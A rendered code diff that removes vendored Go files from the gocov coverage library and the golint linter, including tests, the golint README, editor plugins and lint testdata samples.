// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
// IN THE SOFTWARE.
|
||||
|
||||
package gocov
|
||||
|
||||
import "testing"
|
||||
|
||||
func registerPackage(name string) *Package {
|
||||
return &Package{Name: name}
|
||||
}
|
||||
|
||||
func registerFunction(p *Package, name, file string, startOffset, endOffset int) *Function {
|
||||
f := &Function{Name: name, File: file, Start: startOffset, End: endOffset}
|
||||
p.Functions = append(p.Functions, f)
|
||||
return f
|
||||
}
|
||||
|
||||
func registerStatement(f *Function, startOffset, endOffset int) *Statement {
|
||||
s := &Statement{Start: startOffset, End: endOffset}
|
||||
f.Statements = append(f.Statements, s)
|
||||
return s
|
||||
}
|
||||
|
||||
func TestAccumulatePackage(t *testing.T) {
|
||||
p1_1 := registerPackage("p1")
|
||||
p1_2 := registerPackage("p1")
|
||||
p2 := registerPackage("p2")
|
||||
p3 := registerPackage("p1")
|
||||
registerFunction(p3, "f", "file.go", 0, 1)
|
||||
p4 := registerPackage("p1")
|
||||
registerFunction(p4, "f", "file.go", 1, 2)
|
||||
|
||||
var tests = [...]struct {
|
||||
a, b *Package
|
||||
expectPass bool
|
||||
}{
|
||||
// Should work: everything is the same.
|
||||
{p1_1, p1_2, true},
|
||||
// Should fail: name is different.
|
||||
{p1_1, p2, false},
|
||||
// Should fail: numbers of functions are different.
|
||||
{p1_1, p3, false},
|
||||
// Should fail: functions are different.
|
||||
{p3, p4, false},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
err := test.a.Accumulate(test.b)
|
||||
if test.expectPass {
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
} else {
|
||||
if err == nil {
|
||||
t.Error("Expected an error")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateFunction(t *testing.T) {
|
||||
p := registerPackage("p1")
|
||||
f1_1 := registerFunction(p, "f1", "file.go", 0, 1)
|
||||
f1_2 := registerFunction(p, "f1", "file.go", 0, 1)
|
||||
f2 := registerFunction(p, "f2", "file.go", 0, 1)
|
||||
f3 := registerFunction(p, "f1", "file2.go", 0, 1)
|
||||
f4 := registerFunction(p, "f1", "file.go", 2, 3)
|
||||
f5 := registerFunction(p, "f1", "file.go", 0, 1)
|
||||
registerStatement(f5, 0, 1)
|
||||
f6 := registerFunction(p, "f1", "file.go", 0, 1)
|
||||
registerStatement(f6, 2, 3)
|
||||
|
||||
var tests = [...]struct {
|
||||
a, b *Function
|
||||
expectPass bool
|
||||
}{
|
||||
// Should work: everything is the same.
|
||||
{f1_1, f1_2, true},
|
||||
// Should fail: names are different.
|
||||
{f1_1, f2, false},
|
||||
// Should fail: files are different.
|
||||
{f1_1, f3, false},
|
||||
// Should fail: ranges are different.
|
||||
{f1_1, f4, false},
|
||||
// Should fail: numbers of statements are different.
|
||||
{f1_1, f5, false},
|
||||
// Should fail: all the same, except statement values.
|
||||
{f5, f6, false},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
err := test.a.Accumulate(test.b)
|
||||
if test.expectPass {
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
} else {
|
||||
if err == nil {
|
||||
t.Error("Expected an error")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateStatement(t *testing.T) {
|
||||
p := registerPackage("p1")
|
||||
f := registerFunction(p, "f1", "file.go", 0, 1)
|
||||
s1_1 := registerStatement(f, 0, 1)
|
||||
s1_2 := registerStatement(f, 0, 1)
|
||||
s2 := registerStatement(f, 2, 3)
|
||||
|
||||
// Should work: ranges are the same.
|
||||
if err := s1_1.Accumulate(s1_2); err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
|
||||
// Should fail: ranges are not the same.
|
||||
if err := s1_1.Accumulate(s2); err == nil {
|
||||
t.Errorf("Expected an error")
|
||||
}
|
||||
}
|
||||
@@ -1,82 +0,0 @@
|
||||
package gocovutil
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"github.com/axw/gocov"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Packages represents a set of gocov.Package structures.
|
||||
// The "AddPackage" method may be used to merge package
|
||||
// coverage results into the set.
|
||||
type Packages []*gocov.Package
|
||||
|
||||
// AddPackage adds a package's coverage information to the
|
||||
func (ps *Packages) AddPackage(p *gocov.Package) {
|
||||
i := sort.Search(len(*ps), func(i int) bool {
|
||||
return (*ps)[i].Name >= p.Name
|
||||
})
|
||||
if i < len(*ps) && (*ps)[i].Name == p.Name {
|
||||
(*ps)[i].Accumulate(p)
|
||||
} else {
|
||||
head := (*ps)[:i]
|
||||
tail := append([]*gocov.Package{p}, (*ps)[i:]...)
|
||||
*ps = append(head, tail...)
|
||||
}
|
||||
}
|
||||
|
||||
// ReadPackages takes a list of filenames and parses their
|
||||
// contents as a Packages object.
|
||||
//
|
||||
// The special filename "-" may be used to indicate standard input.
|
||||
// Duplicate filenames are ignored.
|
||||
func ReadPackages(filenames []string) (ps Packages, err error) {
|
||||
copy_ := make([]string, len(filenames))
|
||||
copy(copy_, filenames)
|
||||
filenames = copy_
|
||||
sort.Strings(filenames)
|
||||
|
||||
// Eliminate duplicates.
|
||||
unique := []string{filenames[0]}
|
||||
if len(filenames) > 1 {
|
||||
for _, f := range filenames[1:] {
|
||||
if f != unique[len(unique)-1] {
|
||||
unique = append(unique, f)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Open files.
|
||||
var files []*os.File
|
||||
for _, f := range filenames {
|
||||
if f == "-" {
|
||||
files = append(files, os.Stdin)
|
||||
} else {
|
||||
file, err := os.Open(f)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
files = append(files, os.Stdin)
|
||||
}
|
||||
}
|
||||
|
||||
// Parse the files, accumulate Packages.
|
||||
for _, file := range files {
|
||||
data, err := ioutil.ReadAll(file)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
result := &struct{ Packages []*gocov.Package }{}
|
||||
err = json.Unmarshal(data, result)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, p := range result.Packages {
|
||||
ps.AddPackage(p)
|
||||
}
|
||||
}
|
||||
return ps, nil
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
Golint is a linter for Go source code.
|
||||
|
||||
To install, run
|
||||
go get github.com/golang/lint/golint
|
||||
|
||||
Invoke golint with one or more filenames or directories.
|
||||
The output of this tool is a list of suggestions in Vim quickfix format,
|
||||
which is accepted by lots of different editors.
|
||||
|
||||
Golint differs from gofmt. Gofmt reformats Go source code, whereas
|
||||
golint prints out style mistakes.
|
||||
|
||||
Golint differs from govet. Govet is concerned with correctness, whereas
|
||||
golint is concerned with coding style. Golint is in use at Google, and it
|
||||
seeks to match the accepted style of the open source Go project.
|
||||
|
||||
The suggestions made by golint are exactly that: suggestions.
|
||||
Golint is not perfect, and has both false positives and false negatives.
|
||||
Do not treat its output as a gold standard. We will not be adding pragmas
|
||||
or other knobs to suppress specific warnings, so do not expect or require
|
||||
code to be completely "lint-free".
|
||||
In short, this tool is not, and will never be, trustworthy enough for its
|
||||
suggestions to be enforced automatically, for example as part of a build process.
|
||||
|
||||
If you find an established style that is frequently violated, and which
|
||||
you think golint could statically check, file an issue at
|
||||
https://github.com/golang/lint/issues
|
||||
|
||||
|
||||
Contributions
|
||||
-------------
|
||||
Contributions to this project are welcome, though please send mail before
|
||||
starting work on anything major. Contributors retain their copyright, so we
|
||||
need you to fill out a short form before we can accept your contribution:
|
||||
https://developers.google.com/open-source/cla/individual
|
||||
|
||||
|
||||
Vim
|
||||
---
|
||||
Add this to your ~/.vimrc:
|
||||
set rtp+=$GOPATH/src/github.com/golang/lint/misc/vim
|
||||
If you have multiple entries in your GOPATH, replace $GOPATH with the right value.
|
||||
|
||||
Running :Lint will run golint on the current file and populate the quickfix list.
|
||||
|
||||
Optionally, add this to your ~/.vimrc to automatically run golint on :w
|
||||
autocmd BufWritePost,FileWritePost *.go execute 'Lint' | cwindow
|
||||
|
||||
|
||||
Emacs
|
||||
-----
|
||||
Add this to your .emacs file:
|
||||
(add-to-list 'load-path (concat (getenv "GOPATH") "/src/github.com/golang/lint/misc/emacs"))
|
||||
(require 'golint)
|
||||
If you have multiple entries in your GOPATH, replace $GOPATH with the right value.
|
||||
|
||||
Running M-x golint will run golint on the current file.
|
||||
For more usage, see Compilation-Mode:
|
||||
http://www.gnu.org/software/emacs/manual/html_node/emacs/Compilation-Mode.html
|
||||
@@ -1,67 +0,0 @@
|
||||
// Copyright (c) 2013 The Go Authors. All rights reserved.
|
||||
//
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file or at
|
||||
// https://developers.google.com/open-source/licenses/bsd.
|
||||
|
||||
// golint lints the Go source files named on its command line.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/golang/lint"
|
||||
)
|
||||
|
||||
var minConfidence = flag.Float64("min_confidence", 0.8, "minimum confidence of a problem to print it")
|
||||
|
||||
func main() {
|
||||
flag.Parse()
|
||||
|
||||
for _, filename := range flag.Args() {
|
||||
if isDir(filename) {
|
||||
lintDir(filename)
|
||||
} else {
|
||||
lintFile(filename)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func isDir(filename string) bool {
|
||||
fi, err := os.Stat(filename)
|
||||
return err == nil && fi.IsDir()
|
||||
}
|
||||
|
||||
func lintFile(filename string) {
|
||||
src, err := ioutil.ReadFile(filename)
|
||||
if err != nil {
|
||||
fmt.Fprintln(os.Stderr, err)
|
||||
return
|
||||
}
|
||||
|
||||
l := new(lint.Linter)
|
||||
ps, err := l.Lint(filename, src)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%v:%v\n", filename, err)
|
||||
return
|
||||
}
|
||||
for _, p := range ps {
|
||||
if p.Confidence >= *minConfidence {
|
||||
fmt.Printf("%s:%v: %s\n", filename, p.Position, p.Text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func lintDir(dirname string) {
|
||||
filepath.Walk(dirname, func(path string, info os.FileInfo, err error) error {
|
||||
if err == nil && !info.IsDir() && strings.HasSuffix(path, ".go") {
|
||||
lintFile(path)
|
||||
}
|
||||
return err
|
||||
})
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,197 +0,0 @@
|
||||
// Copyright (c) 2013 The Go Authors. All rights reserved.
|
||||
//
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file or at
|
||||
// https://developers.google.com/open-source/licenses/bsd.
|
||||
|
||||
package lint
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"flag"
|
||||
"go/parser"
|
||||
"go/printer"
|
||||
"go/token"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var lintMatch = flag.String("lint.match", "", "restrict testdata matches to this pattern")
|
||||
|
||||
func TestAll(t *testing.T) {
|
||||
l := new(Linter)
|
||||
rx, err := regexp.Compile(*lintMatch)
|
||||
if err != nil {
|
||||
t.Fatalf("Bad -lint.match value %q: %v", *lintMatch, err)
|
||||
}
|
||||
|
||||
baseDir := "testdata"
|
||||
fis, err := ioutil.ReadDir(baseDir)
|
||||
if err != nil {
|
||||
t.Fatalf("ioutil.ReadDir: %v", err)
|
||||
}
|
||||
if len(fis) == 0 {
|
||||
t.Fatalf("no files in %v", baseDir)
|
||||
}
|
||||
for _, fi := range fis {
|
||||
if !rx.MatchString(fi.Name()) {
|
||||
continue
|
||||
}
|
||||
//t.Logf("Testing %s", fi.Name())
|
||||
src, err := ioutil.ReadFile(path.Join(baseDir, fi.Name()))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed reading %s: %v", fi.Name(), err)
|
||||
}
|
||||
|
||||
ins := parseInstructions(t, fi.Name(), src)
|
||||
if ins == nil {
|
||||
t.Errorf("Test file %v does not have instructions", fi.Name())
|
||||
continue
|
||||
}
|
||||
|
||||
ps, err := l.Lint(fi.Name(), src)
|
||||
if err != nil {
|
||||
t.Errorf("Linting %s: %v", fi.Name(), err)
|
||||
continue
|
||||
}
|
||||
|
||||
for _, in := range ins {
|
||||
ok := false
|
||||
for i, p := range ps {
|
||||
if p.Position.Line != in.Line {
|
||||
continue
|
||||
}
|
||||
if in.Match.MatchString(p.Text) {
|
||||
// remove this problem from ps
|
||||
copy(ps[i:], ps[i+1:])
|
||||
ps = ps[:len(ps)-1]
|
||||
|
||||
//t.Logf("/%v/ matched at %s:%d", in.Match, fi.Name(), in.Line)
|
||||
ok = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !ok {
|
||||
t.Errorf("Lint failed at %s:%d; /%v/ did not match", fi.Name(), in.Line, in.Match)
|
||||
}
|
||||
}
|
||||
for _, p := range ps {
|
||||
t.Errorf("Unexpected problem at %s:%d: %v", fi.Name(), p.Position.Line, p.Text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type instruction struct {
|
||||
Line int // the line number this applies to
|
||||
Match *regexp.Regexp // what pattern to match
|
||||
}
|
||||
|
||||
// parseInstructions parses instructions from the comments in a Go source file.
|
||||
// It returns nil if none were parsed.
|
||||
func parseInstructions(t *testing.T, filename string, src []byte) []instruction {
|
||||
fset := token.NewFileSet()
|
||||
f, err := parser.ParseFile(fset, filename, src, parser.ParseComments)
|
||||
if err != nil {
|
||||
t.Fatalf("Test file %v does not parse: %v", filename, err)
|
||||
}
|
||||
var ins []instruction
|
||||
for _, cg := range f.Comments {
|
||||
ln := fset.Position(cg.Pos()).Line
|
||||
raw := cg.Text()
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
if line == "OK" && ins == nil {
|
||||
// so our return value will be non-nil
|
||||
ins = make([]instruction, 0)
|
||||
continue
|
||||
}
|
||||
if strings.Contains(line, "MATCH") {
|
||||
a, b := strings.Index(line, "/"), strings.LastIndex(line, "/")
|
||||
if a == -1 || a == b {
|
||||
t.Fatalf("Malformed match instruction %q at %v:%d", line, filename, ln)
|
||||
}
|
||||
pat := line[a+1 : b]
|
||||
rx, err := regexp.Compile(pat)
|
||||
if err != nil {
|
||||
t.Fatalf("Bad match pattern %q at %v:%d: %v", pat, filename, ln, err)
|
||||
}
|
||||
ins = append(ins, instruction{
|
||||
Line: ln,
|
||||
Match: rx,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
return ins
|
||||
}
|
||||
|
||||
func render(fset *token.FileSet, x interface{}) string {
|
||||
var buf bytes.Buffer
|
||||
if err := printer.Fprint(&buf, fset, x); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func TestLine(t *testing.T) {
|
||||
tests := []struct {
|
||||
src string
|
||||
offset int
|
||||
want string
|
||||
}{
|
||||
{"single line file", 5, "single line file"},
|
||||
{"single line file with newline\n", 5, "single line file with newline\n"},
|
||||
{"first\nsecond\nthird\n", 2, "first\n"},
|
||||
{"first\nsecond\nthird\n", 9, "second\n"},
|
||||
{"first\nsecond\nthird\n", 14, "third\n"},
|
||||
{"first\nsecond\nthird with no newline", 16, "third with no newline"},
|
||||
{"first byte\n", 0, "first byte\n"},
|
||||
}
|
||||
for _, test := range tests {
|
||||
got := srcLine([]byte(test.src), token.Position{Offset: test.offset})
|
||||
if got != test.want {
|
||||
t.Errorf("srcLine(%q, offset=%d) = %q, want %q", test.src, test.offset, got, test.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLintName(t *testing.T) {
|
||||
tests := []struct {
|
||||
name, want string
|
||||
}{
|
||||
{"foo_bar", "fooBar"},
|
||||
{"foo_bar_baz", "fooBarBaz"},
|
||||
{"Foo_bar", "FooBar"},
|
||||
{"foo_WiFi", "fooWiFi"},
|
||||
{"id", "id"},
|
||||
{"Id", "ID"},
|
||||
{"foo_id", "fooID"},
|
||||
{"fooId", "fooID"},
|
||||
{"fooUid", "fooUID"},
|
||||
{"idFoo", "idFoo"},
|
||||
{"uidFoo", "uidFoo"},
|
||||
{"midIdDle", "midIDDle"},
|
||||
{"APIProxy", "APIProxy"},
|
||||
{"ApiProxy", "APIProxy"},
|
||||
{"apiProxy", "apiProxy"},
|
||||
{"_Leading", "_Leading"},
|
||||
{"___Leading", "_Leading"},
|
||||
{"trailing_", "trailing"},
|
||||
{"trailing___", "trailing"},
|
||||
{"a_b", "aB"},
|
||||
{"a__b", "aB"},
|
||||
{"a___b", "aB"},
|
||||
{"Rpc1150", "RPC1150"},
|
||||
}
|
||||
for _, test := range tests {
|
||||
got := lintName(test.name)
|
||||
if got != test.want {
|
||||
t.Errorf("lintName(%q) = %q, want %q", test.name, got, test.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,51 +0,0 @@
|
||||
;;; golint.el --- lint for the Go source code
|
||||
|
||||
;; Copyright 2013 The Go Authors. All rights reserved.
|
||||
;; Use of this source code is governed by a BSD-style
|
||||
;; license that can be found in the LICENSE file.
|
||||
|
||||
;; URL: https://github.com/golang/lint
|
||||
|
||||
;;; Commentary:
|
||||
|
||||
;; To install golint, add the following lines to your .emacs file:
|
||||
;; (add-to-list 'load-path "PATH CONTAINING golint.el" t)
|
||||
;; (require 'golint)
|
||||
;;
|
||||
;; After this, type M-x golint on Go source code.
|
||||
;;
|
||||
;; Usage:
|
||||
;; C-x `
|
||||
;; Jump directly to the line in your code which caused the first message.
|
||||
;;
|
||||
;; For more usage, see Compilation-Mode:
|
||||
;; http://www.gnu.org/software/emacs/manual/html_node/emacs/Compilation-Mode.html
|
||||
|
||||
;;; Code:
|
||||
(require 'compile)
|
||||
|
||||
(defun go-lint-buffer-name (mode)
|
||||
"*Golint*")
|
||||
|
||||
(defun golint-process-setup ()
|
||||
"Setup compilation variables and buffer for `golint'."
|
||||
(run-hooks 'golint-setup-hook))
|
||||
|
||||
(define-compilation-mode golint-mode "golint"
|
||||
"Golint is a linter for Go source code."
|
||||
(set (make-local-variable 'compilation-scroll-output) nil)
|
||||
(set (make-local-variable 'compilation-disable-input) t)
|
||||
(set (make-local-variable 'compilation-process-setup-function)
|
||||
'golint-process-setup)
|
||||
)
|
||||
|
||||
;;;###autoload
|
||||
(defun golint ()
|
||||
"Run golint on the current file and populate the fix list. Pressing C-x ` will jump directly to the line in your code which caused the first message."
|
||||
(interactive)
|
||||
(compilation-start (concat "golint " buffer-file-name)
|
||||
'golint-mode))
|
||||
|
||||
(provide 'golint)
|
||||
|
||||
;;; golint.el ends here
|
||||
-31
@@ -1,31 +0,0 @@
|
||||
" Copyright 2013 The Go Authors. All rights reserved.
|
||||
" Use of this source code is governed by a BSD-style
|
||||
" license that can be found in the LICENSE file.
|
||||
"
|
||||
" lint.vim: Vim command to lint Go files with golint.
|
||||
"
|
||||
" https://github.com/golang/lint
|
||||
"
|
||||
" This filetype plugin add a new commands for go buffers:
|
||||
"
|
||||
" :Lint
|
||||
"
|
||||
" Run golint for the current Go file.
|
||||
"
|
||||
if exists("b:did_ftplugin_go_lint")
|
||||
finish
|
||||
endif
|
||||
|
||||
if !executable("golint")
|
||||
finish
|
||||
endif
|
||||
|
||||
command! -buffer Lint call s:GoLint()
|
||||
|
||||
function! s:GoLint() abort
|
||||
cexpr system('golint ' . shellescape(expand('%')))
|
||||
endfunction
|
||||
|
||||
let b:did_ftplugin_go_lint = 1
|
||||
|
||||
" vim:ts=4:sw=4:et
|
||||
@@ -1,34 +0,0 @@
|
||||
// Test that exported names have correct comments.
|
||||
|
||||
// Package pkg does something.
|
||||
package pkg
|
||||
|
||||
import "time"
|
||||
|
||||
type T int // MATCH /exported type T.*should.*comment.*or.*unexport/
|
||||
|
||||
func (T) F() {} // MATCH /exported method T\.F.*should.*comment.*or.*unexport/
|
||||
|
||||
// this is a nice type.
|
||||
// MATCH /comment.*exported type U.*should.*form.*"U ..."/
|
||||
type U string
|
||||
|
||||
// this is a neat function.
|
||||
// MATCH /comment.*exported method U\.G.*should.*form.*"G ..."/
|
||||
func (U) G() {}
|
||||
|
||||
// A V is a string.
|
||||
type V string
|
||||
|
||||
// V.H has a pointer receiver
|
||||
|
||||
func (*V) H() {} // MATCH /exported method V\.H.*should.*comment.*or.*unexport/
|
||||
|
||||
var W = "foo" // MATCH /exported var W.*should.*comment.*or.*unexport/
|
||||
|
||||
const X = "bar" // MATCH /exported const X.*should.*comment.*or.*unexport/
|
||||
|
||||
var Y, Z int // MATCH /exported var Z.*own declaration/
|
||||
|
||||
// Location should be okay, since the other var name is an underscore.
|
||||
var Location, _ = time.LoadLocation("Europe/Istanbul") // not Constantinople
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
// This file ends in _test.go, so we should not warn about doc comments.
|
||||
// OK
|
||||
|
||||
package pkg
|
||||
|
||||
import "testing"
|
||||
|
||||
type H int
|
||||
|
||||
func TestSomething(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestSomething_suffix(t *testing.T) {
|
||||
}
|
||||
|
||||
func ExampleBuffer_reader() {
|
||||
}
|
||||
-33
@@ -1,33 +0,0 @@
|
||||
// Test that blank imports in library packages are flagged.
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
// The instructions need to go before the imports below so they will not be
|
||||
// mistaken for documentation.
|
||||
|
||||
/* MATCH /blank import/ */ import _ "encoding/json"
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
/* MATCH /blank import/ */ _ "os"
|
||||
|
||||
/* MATCH /blank import/ */ _ "net/http"
|
||||
_ "path"
|
||||
)
|
||||
|
||||
import _ "encoding/base64" // Don't gripe about this
|
||||
|
||||
import (
|
||||
// Don't gripe about these next two lines.
|
||||
_ "compress/zlib"
|
||||
_ "syscall"
|
||||
|
||||
/* MATCH /blank import/ */ _ "path/filepath"
|
||||
)
|
||||
|
||||
import (
|
||||
"go/ast"
|
||||
_ "go/scanner" // Don't gripe about this or the following line.
|
||||
_ "go/token"
|
||||
)
|
||||
Vendored
-20
@@ -1,20 +0,0 @@
|
||||
// Test that blank imports in test packages are not flagged.
|
||||
// OK
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
// These are essentially the same imports as in the "library" package, but
|
||||
// these should not trigger the warning because this is a test.
|
||||
|
||||
import _ "encoding/json"
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
|
||||
_ "os"
|
||||
|
||||
_ "net/http"
|
||||
_ "path"
|
||||
)
|
||||
Vendored
-12
@@ -1,12 +0,0 @@
|
||||
// Test that blank imports in package main are not flagged.
|
||||
// OK
|
||||
|
||||
// Binary foo ...
|
||||
package main
|
||||
|
||||
import _ "fmt"
|
||||
|
||||
import (
|
||||
"os"
|
||||
_ "path"
|
||||
)
|
||||
-16
@@ -1,16 +0,0 @@
|
||||
// Test that we don't nag for comments on common methods.
|
||||
// OK
|
||||
|
||||
// Package pkg ...
|
||||
package pkg
|
||||
|
||||
import "net/http"
|
||||
|
||||
// T is ...
|
||||
type T int
|
||||
|
||||
func (T) Error() string { return "" }
|
||||
func (T) String() string { return "" }
|
||||
func (T) ServeHTTP(w http.ResponseWriter, r *http.Request) {}
|
||||
func (T) Read(p []byte) (n int, err error) { return 0, nil }
|
||||
func (T) Write(p []byte) (n int, err error) { return 0, nil }
|
||||
-36
@@ -1,36 +0,0 @@
|
||||
// Test for docs in const blocks
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
const (
|
||||
// Prefix for something.
|
||||
// MATCH /InlineWhatever.*form/
|
||||
InlineWhatever = "blah"
|
||||
|
||||
Whatsit = "missing_comment" // MATCH /Whatsit.*should have comment.*block/
|
||||
|
||||
// We should only warn once per block for missing comments,
|
||||
// but always complain about malformed comments.
|
||||
|
||||
WhosYourDaddy = "another_missing_one"
|
||||
|
||||
// Something
|
||||
// MATCH /WhatDoesHeDo.*form/
|
||||
WhatDoesHeDo = "it's not a tumor!"
|
||||
)
|
||||
|
||||
// These shouldn't need doc comments.
|
||||
const (
|
||||
Alpha = "a"
|
||||
Beta = "b"
|
||||
Gamma = "g"
|
||||
)
|
||||
|
||||
// The comment on the previous const block shouldn't flow through to here.
|
||||
|
||||
const UndocAgain = 6 // MATCH /UndocAgain.*should have comment/
|
||||
|
||||
const (
|
||||
SomeUndocumented = 7 // MATCH /SomeUndocumented.*should have comment.*block/
|
||||
)
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
// Test of return+else warning; should not trigger on multi-branch if/else.
|
||||
// OK
|
||||
|
||||
// Package pkg ...
|
||||
package pkg
|
||||
|
||||
import "log"
|
||||
|
||||
func f(x int) bool {
|
||||
if x == 0 {
|
||||
log.Print("x is zero")
|
||||
} else if x > 0 {
|
||||
return true
|
||||
} else {
|
||||
log.Printf("non-positive x: %d", x)
|
||||
}
|
||||
return false
|
||||
}
|
||||
-23
@@ -1,23 +0,0 @@
|
||||
// Test of return+else warning.
|
||||
|
||||
// Package pkg ...
|
||||
package pkg
|
||||
|
||||
import "log"
|
||||
|
||||
func f(x int) bool {
|
||||
if x > 0 {
|
||||
return true
|
||||
} else { // MATCH /if.*return.*else.*outdent/
|
||||
log.Printf("non-positive x: %d", x)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func g(f func() bool) string {
|
||||
if ok := f(); ok {
|
||||
return "it's okay"
|
||||
} else { // MATCH /if.*return.*else.*outdent.*short.*var.*declaration/
|
||||
return "it's NOT okay!"
|
||||
}
|
||||
}
|
||||
-22
@@ -1,22 +0,0 @@
|
||||
// Test for not using fmt.Errorf.
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func f(x int) error {
|
||||
if x > 10 {
|
||||
return errors.New(fmt.Sprintf("something %d", x)) // MATCH /should replace.*errors\.New\(fmt\.Sprintf\(\.\.\.\)\).*fmt\.Errorf\(\.\.\.\)/
|
||||
}
|
||||
if x > 5 {
|
||||
return errors.New(g("blah")) // ok
|
||||
}
|
||||
if x > 4 {
|
||||
return errors.New("something else") // ok
|
||||
}
|
||||
return nil
|
||||
}
|
||||
-35
@@ -1,35 +0,0 @@
|
||||
// Test for naming errors.
|
||||
|
||||
// Package foo ...
|
||||
package foo
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
var unexp = errors.New("some unexported error") // MATCH /error var.*unexp.*errFoo/
|
||||
|
||||
// Exp ...
|
||||
var Exp = errors.New("some exported error") // MATCH /error var.*Exp.*ErrFoo/
|
||||
|
||||
var (
|
||||
e1 = fmt.Errorf("blah %d", 4) // MATCH /error var.*e1.*errFoo/
|
||||
// E2 ...
|
||||
E2 = fmt.Errorf("blah %d", 5) // MATCH /error var.*E2.*ErrFoo/
|
||||
)
|
||||
|
||||
func f() {
|
||||
var whatever = errors.New("ok") // ok
|
||||
}
|
||||
|
||||
// Check for the error strings themselves.
|
||||
|
||||
func g(x int) error {
|
||||
if x < 1 {
|
||||
return fmt.Errorf("This %d is too low", x) // MATCH /error strings.*not be capitalized/
|
||||
} else if x == 0 {
|
||||
return fmt.Errorf("XML time") // ok
|
||||
}
|
||||
return errors.New(`too much stuff.`) // MATCH /error strings.*not end with punctuation/
|
||||
}
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
// Test that dot imports are flagged.
|
||||
|
||||
// Package pkg ...
|
||||
package pkg
|
||||
|
||||
import . "fmt" // MATCH /dot import/
|
||||
-14
@@ -1,14 +0,0 @@
|
||||
// Test for use of x++ and x--.
|
||||
|
||||
// Package pkg ...
|
||||
package pkg
|
||||
|
||||
func addOne(x int) int {
|
||||
x += 1 // MATCH /x\+\+/
|
||||
return x
|
||||
}
|
||||
|
||||
func subOneInLoop(y int) {
|
||||
for ; y > 0; y -= 1 { // MATCH /y--/
|
||||
}
|
||||
}
|
||||
-10
@@ -1,10 +0,0 @@
|
||||
// Test for pointless make() calls.
|
||||
|
||||
// Package pkg ...
|
||||
package pkg
|
||||
|
||||
func f() {
|
||||
x := make([]T, 0) // MATCH /var x \[\]T/
|
||||
y := make([]somepkg.Foo_Bar, 0) // MATCH /var y \[\]somepkg.Foo_Bar/
|
||||
z = make([]T, 0) // ok, because we don't know where z is declared
|
||||
}
|
||||
-54
@@ -1,54 +0,0 @@
|
||||
// Test for name linting.
|
||||
|
||||
// Package pkg_with_underscores ...
|
||||
package pkg_with_underscores // MATCH /underscore.*package name/
|
||||
|
||||
var var_name int // MATCH /underscore.*var.*var_name/
|
||||
|
||||
type t_wow struct { // MATCH /underscore.*type.*t_wow/
|
||||
x_damn int // MATCH /underscore.*field.*x_damn/
|
||||
Url *url.URL // MATCH /struct field.*Url.*URL/
|
||||
}
|
||||
|
||||
const fooId = "blah" // MATCH /fooId.*fooID/
|
||||
|
||||
func f_it() { // MATCH /underscore.*func.*f_it/
|
||||
more_underscore := 4 // MATCH /underscore.*var.*more_underscore/
|
||||
if isEof := (err == io.EOF); isEof { // MATCH /var.*isEof.*isEOF/
|
||||
more_underscore = 7 // should be okay
|
||||
}
|
||||
|
||||
x := foo_proto.Blah{} // should be okay
|
||||
|
||||
for _, theIp := range ips { // MATCH /range var.*theIp.*theIP/
|
||||
}
|
||||
|
||||
switch myJson := g(); { // MATCH /var.*myJson.*myJSON/
|
||||
}
|
||||
